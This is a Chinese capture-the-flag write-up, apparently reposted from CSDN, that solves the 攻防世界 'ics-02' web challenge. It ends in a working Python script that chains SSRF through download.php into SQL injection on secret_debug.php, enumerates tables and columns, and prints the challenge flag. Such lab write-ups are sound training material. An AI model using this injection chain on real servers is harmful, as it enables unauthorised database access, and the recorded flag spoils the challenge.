【愚公系列】2023年06月 攻防世界-Web(ics-02)


前言

SSRF(服务器端请求伪造)是一种攻击技术,攻击者通过构造恶意请求,欺骗服务器发起外部请求,获取服务器本应该不被直接访问的信息或服务。攻击者可利用 SSRF 进行一系列攻击,包括对内部资源进行扫描、窃取敏感信息、攻击内部系统等。

SQL 注入是一种常见的 Web 攻击技术,攻击者通过在输入框等用户交互界面中注入 SQL 代码,进而控制数据库操作,例如读取、修改、删除等。攻击者可通过 SQL 注入进行窃取敏感信息、篡改数据,或直接攻击数据库服务器等。SQL 注入攻击容易发现,但往往对于未进行有效防范的 Web 应用带来重大影响。

一、ics-02

1.题目

在这里插入图片描述

2.答题

2.1 binwalk分析文件

在这里插入图片描述
进入文档中心
在这里插入图片描述
下载下来的php文件打不开,file查看下文件类型
在这里插入图片描述
发现是pdf文件,重命名文件打开pdf

在这里插入图片描述
得到信息SSRF

2.2 目录扫描

进行网站目录扫描
在这里插入图片描述
发现/secret/目录,访问一下试试

在这里插入图片描述
secret_debug.php提示IP没有权限,似乎与前面提示的ssrf呼应了呢
在这里插入图片描述

secret.php进来是个问卷

在这里插入图片描述

全选第一项试试,发现跳到了私密页面2
在这里插入图片描述
根据secret参数带入secret_debug构造请求:http://61.147.171.105:54562/secret/secret_debug.php?s=3&txtfirst_name=a&txtmiddle_name=b&txtlast_name=c&txtname_suffix=d&txtdob=01/05/2000&txtdl_nmbr=1234&txtretypedl=1234

在这里插入图片描述
发现.pdf加在了s=3后面,&符号导致,所以进行url编码,服务器再解码,.pdf就会加到所有参数最后
在这里插入图片描述

还是有问题,.pdf加在最后一个参数后面会影响其值,所以在参数后面再加一个&,相当于隔断了pdf

注册成功。。注册的参数可以进行sql注入,通过download.php用ssrf对secret_debug.php发起请求进行sql注入

import requests
import random
import urllib

url = 'http://61.147.171.105:52912/download.php'

# subquery = "database()"
# ssrfw
# subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# cetcYssrf
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# secretname -> flag
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
subquery = "select value from cetcYssrf LIMIT 1"

id = random.randint(1, 10000000)

d = ('http://127.0.0.1/secret/secret_debug.php?' +
        urllib.parse.urlencode({
    
    
            "s": "3",
            "txtfirst_name": "L','1',("+subquery+"),'1'/*",
            "txtmiddle_name": "m",
            "txtLast_name": "y",
            "txtname_suffix": "Esq.",
            "txtdob": "*/,'01/10/2019",
            "txtdl_nmbr": id,
            "txtRetypeDL": id
            }) + "&")


r = requests.get(url, params={
    
    "dl": d})
print(r.text)

在这里插入图片描述
得到flag:flag{cpg9ssnu_OOOOe333eetc_2018}

猜你喜欢

转载自blog.csdn.net/aa2528877987/article/details/131324964